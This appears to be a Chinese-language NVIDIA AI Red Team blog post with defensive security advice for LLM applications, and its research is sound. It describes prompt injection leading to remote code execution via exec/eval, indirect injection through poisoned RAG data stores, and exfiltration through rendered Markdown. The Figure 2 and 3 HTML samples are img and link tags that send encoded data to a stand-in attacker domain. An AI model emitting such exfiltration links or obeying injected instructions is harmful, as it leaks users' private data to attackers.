NVIDIA 中国开发者日活动 中国・苏州 | 2025 年 11 月 14 日 了解详情
代理式 AI/生成式 AI

NVIDIA AI Red 团队的实用 LLM 安全建议

近年来,NVIDIA AI 红队(AIRT)已对多款在投产前的支持 AI 的系统进行了潜在漏洞和安全风险评估。AIRT 识别出若干常见漏洞及潜在安全隐患,若能在开发过程中及时解决这些问题,将显著提升基于大语言模型(LLM)的应用的安全性。

常见发现

在本博客中,我们将分享这些评估的关键发现,并探讨如何有效降低重大风险。

漏洞 1:执行由大语言模型生成的代码可能导致远程代码执行

一个严重且反复出现的问题是,在大语言模型(LLM)生成的输出上使用如 exec 或 eval 等函数时缺乏足够的隔离。尽管开发者可能利用这些函数来生成图形,但其用途有时会扩展到更复杂的任务,例如执行数学计算、构建 SQL 查询或生成用于数据分析的代码。

是否存在风险?攻击者可能通过直接间接的提示注入手段,操纵大语言模型生成恶意代码。若该输出在缺乏适当沙盒环境的情况下被执行,则可能导致远程代码执行(RCE),从而使攻击者获得访问整个应用环境的权限。

A screenshot of highlighted text showing a prompt injection with color-coded layers of encapsulation and evasion to deliver the payload through layers of pre-processing.
图1。用于通过提示注入攻击获取远程代码执行权限的系统示意图,该系统针对将大语言模型生成的代码传递至exec语句以执行数据分析的场景

此处的修复措施显而易见:应避免使用 exec、eval 或类似功能,尤其是在由大语言模型生成的代码中。这些函数本身就存在安全风险,一旦与提示注入攻击结合,几乎会使得远程代码执行(RCE)变得轻而易举。即使 exec 或 eval 被深嵌在库的内部,并受到某些防护机制的限制,攻击者仍可能通过多层规避和混淆手段,将其恶意指令成功封装并执行。

在图1中,提示注入通过封装在护栏规避(绿色部分)实现远程代码执行(RCE),并在最终载荷(粉色部分)之前,利用对库中调用所引入的系统提示进行提示工程(蓝色与橙色部分)来达成攻击目标。

相反,应构建应用来解析大语言模型(LLM)响应中的意图或指令,并将其映射到一组预定义的、安全且明确允许的函数。若需执行动态代码,务必确保其在安全隔离的沙盒环境中运行。我们此前关于基于 WebAssembly 的浏览器沙盒的博文,介绍了一种安全处理该问题的方法。

漏洞 2:检索增强生成系统中数据源的访问控制存在安全隐患

检索增强生成(RAG)是一种被广泛采用的大型语言模型应用架构,能够使应用集成最新的外部数据,而无需对模型进行重新训练。然而,信息检索环节也可能成为攻击者注入恶意数据的途径。在实践中,我们发现使用RAG存在两个主要缺陷:

首先,可能难以针对每位用户准确实现敏感信息的读取权限。一旦出现这种情况,用户便可能访问到本不应查看的文档内容。我们通常通过以下方式观察到此类问题。

  1. 未正确配置或维护原始数据源(例如 Confluence、Google Workspace)中的访问权限,当文档被提取至 RAG 数据库时,这一问题将随之传播至 RAG 数据存储中。
  2. 由于 RAG 数据存储通常对文档的原始来源使用过宽的“读取”权限令牌,无法准确还原源系统中细粒度的权限设置。
  3. 此外,权限从源系统向 RAG 数据库同步的延迟,可能导致访问控制滞后,进而引发数据暴露风险。

审查文档或数据源的授权管理方式,有助于及早发现问题,便于团队围绕该问题进行针对性设计。

另一个常见的严重漏洞是RAG数据存储存在广泛的写入权限。例如,如果用户的电子邮件内容被纳入RAG工作流的检索阶段数据中,那么任何掌握相关信息的人都可能将特定内容注入到RAG检索器返回的结果里。这为间接提示注入攻击提供了可乘之机,而此类攻击有时目标极为具体且隐蔽,导致检测难度显著增加。该漏洞通常出现在攻击链的早期阶段,后续可能引发多种危害,包括针对特定主题污染应用的输出结果,甚至导致用户个人文档或敏感数据的泄露。

减少对 RAG 数据存储的广泛写入访问可能颇具挑战,因为这往往会影响应用程序的核心功能。例如,能够总结一天的电子邮件内容可能是一项非常有价值的功能。在这种情况下,缓解措施需要在应用程序的其他环节实施,或根据具体的应用需求进行专门设计。

对于电子邮件,将外部邮件排除或将其作为独立数据源进行访问,有助于避免结果的交叉污染。对于工作空间文档(例如 SharePoint、Google Workspace),允许用户在仅查看个人文档、仅查看组织内部人员共享的文档以及查看所有文档之间进行选择,可有效降低恶意共享文档带来的影响。

内容安全策略(详见下一个漏洞)可用于降低数据泄露的风险。通过应用 Guardrail 检查,可以对增强的提示词或检索到的文档进行验证,确保其与查询主题一致。此外,可构建特定领域的权威文档或数据集(例如人力资源相关信息),并对这些资源实施更严格的管控,以防范恶意文档注入的风险。

漏洞 3:LLM 输出内容的活动渲染问题

自2023年年中 Johann Rehberger 发表相关文章以来,利用 Markdown(及其他富文本内容)进行数据过滤的问题便已广为人知。然而,AI红队至今仍在LLM驱动的应用中发现此类漏洞。

通过将包含敏感信息的内容嵌入链接或图像中,攻击者可诱导用户浏览器访问其控制的服务器。当浏览器渲染图像或用户点击链接时,相关数据会出现在攻击者服务器的日志中,如图2所示。由于渲染过程需要向攻击者域名发起网络请求以获取图像资源,该请求可能携带经过编码的敏感信息,从而导致数据泄露。此外,攻击者通常可利用间接提示注入技术,将用户的对话历史等信息编码至链接内,进一步加剧信息外泄的风险。

<div class="markdown-body">
  <p>
    <img src="https://iamanevildomain.com/q?SGVsbG8hIFdlIGxpa2UgdhIGN1dCBvZiB5b3VyIGppYiEgRW1haWwgbWUgd2loCB0aGUgcGFzc3dvc mQgQVBQTEUgU0FVQ0Uh" alt="This is Fine">
  </p>
  <h3>Sources</h3>
</div>
A chat session where the server's response contains the requested image (the “this is fine” meme).
图2。测试图像标记导致渲染泄露,恶意负载通过加载显示的图像自动泄露数据。

同样,在图 3 中,超链接可用于混淆目标地址及附加的查询参数。该链接可通过在查询字符串中对数据进行编码来实现过滤,例如对 Tm93IHlvdSdyZSBqdXN0IHNob3dpbmcgb2ZmIDsp 进行编码,如图所示。

<a class="MuiTypography-root MuiTypography-inherit MuiLink-root MuiLink-underlineAlways css-7mvu2w" href="https://iamanevildomain.com/q?Tm93IHlvdSdyZSBqdXN0IHNob3dpbmcgb2ZmIDsp" node="[object Object]" target="_blank">click here to learn more!</a>
A chat session where the server’s response contains the requested phrase complete with active link.
图 3。与返回超链接的服务器进行的聊天会话

为降低此漏洞带来的风险,建议您采取以下一项或多项措施:

  1. 采用图像内容安全策略,仅允许从预定义的“安全”网站列表加载图像,以防止用户的浏览器自动渲染来自攻击者服务器的图像内容。
  2. 对于可点击的超链接,应用程序应在跳转至外部网站前,向用户完整显示目标链接地址;或者将链接设置为“不可点击”状态,要求用户通过复制粘贴等手动操作才能访问对应域名。
  3. 应对所有大语言模型(LLM)的输出内容进行清理,尽可能移除其中的标记、HTML 代码、URL 或其他由 LLM 动态生成的潜在可执行内容。
  4. 在必要情况下,应在用户界面中彻底禁用所有可交互内容,以确保安全性。

总结

NVIDIA AI Red 团队已评估了数十个 AI 应用程序,并提出了若干简洁明确的建议,以加强和保护这些应用的安全性。其中三项关键发现包括:执行由大语言模型(LLM)生成的代码可能导致远程代码执行;RAG 数据存储权限配置不当可能引发数据泄露或间接提示注入;对 LLM 输出内容的动态渲染可能造成敏感信息外泄。通过识别并解决这些漏洞,可有效提升 LLM 应用在面对常见且影响显著的安全威胁时的防护能力。

如果您希望深入了解对抗性机器学习的基础知识,欢迎报名参加 NVIDIA DLI 提供的自定进度在线培训课程“探索对抗性机器学习”。如需进一步了解我们在该领域的研究进展,可浏览 NVIDIA 技术博客中关于网络安全与 AI 安全的其他文章

 

标签